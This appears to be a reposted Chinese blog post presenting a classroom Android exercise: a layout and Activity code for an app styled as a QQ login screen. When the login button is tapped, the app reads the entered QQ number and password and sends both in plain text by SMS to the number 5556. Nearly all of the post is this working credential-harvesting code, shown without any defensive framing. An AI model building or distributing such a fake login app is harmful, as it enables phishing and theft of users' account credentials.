首页 > 代码库 > Android之获取输入用户名与密码发送短信

Android之获取输入用户名与密码发送短信

打算不超过三天的时间我就要准备出发了,所以把之前的资料来个总结。

这都是在课堂上做过的作业。

好了,废话少说,直接上代码。

步骤:

1.设置单击事件
2.获取输入的QQ号码与密码
3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
5.发送QQ号码与密码

布局:

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"        xmlns:tools="http://schemas.android.com/tools"        android:layout_width="match_parent"        android:layout_height="match_parent"        android:gravity="center_horizontal"        android:orientation="vertical"        android:paddingBottom="@dimen/activity_vertical_margin"        android:paddingLeft="@dimen/activity_horizontal_margin"        android:paddingRight="@dimen/activity_horizontal_margin"        android:paddingTop="@dimen/activity_vertical_margin"        tools:context=".MainActivity" >        <ImageView            android:background="#09A3DC"            android:layout_width="match_parent"            android:layout_height="wrap_content"            android:src="http://www.mamicode.com/@drawable/qq" />        <!--输入QQ号码  -->        <EditText            android:id="@+id/et_qqNumber"            android:layout_width="match_parent"            android:layout_height="wrap_content"            android:layout_marginTop="20dp"            android:hint="请输入qq号码:"            android:inputType="numberSigned" />        <!--输入QQ密码-->        <EditText            android:id="@+id/et_qqPassword"            android:layout_width="match_parent"            android:layout_height="wrap_content"            android:layout_marginTop="20dp"            android:hint="请输入qq密码:"            android:inputType="textPassword" />        <Button                android:id="@+id/btn_login"            android:layout_width="match_parent"            android:layout_height="wrap_content"            android:layout_marginTop="20dp"            android:textColor="#ffffff"            android:background="#09A3DC"            android:text="登录"/>    </LinearLayout>

Activity:

 public class MainActivity extends Activity {         EditText et_qqNumber;         EditText et_qqPassword;         Button btn_login;        @Override        protected void onCreate(Bundle savedInstanceState) {            super.onCreate(savedInstanceState);            setContentView(R.layout.activity_main);              et_qqNumber=(EditText) findViewById(R.id.et_qqNumber);              et_qqPassword=(EditText) findViewById(R.id.et_qqPassword);              btn_login=(Button) findViewById(R.id.btn_login);              btn_login.setOnClickListener(new OnClickListener() {                @Override                public void onClick(View v) {                    //2.获取输入的QQ号码与密码                    String qq = et_qqNumber.getText().toString().trim();                    String password = et_qqPassword.getText().toString().trim();                     // 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续                    if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){                        Toast.makeText(MainActivity.this, "QQ号码或者密码不能为空!", Toast.LENGTH_SHORT).show();                        return ;                    }                    // 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取                    SmsManager manager = SmsManager.getDefault();                    // 5.发送QQ号码与密码                    String message="qq :"+qq+",pwd:"+password;                    manager.sendTextMessage("5556", null, message, null, null);                /*                         * 分离短信                    ArrayList<String> divideMessage = manager.divideMessage(message);                    for (String str : divideMessage) {                        manager.sendTextMessage("5556", null, str, null, null);                    }*/                }            });        }    }

Android之获取输入用户名与密码发送短信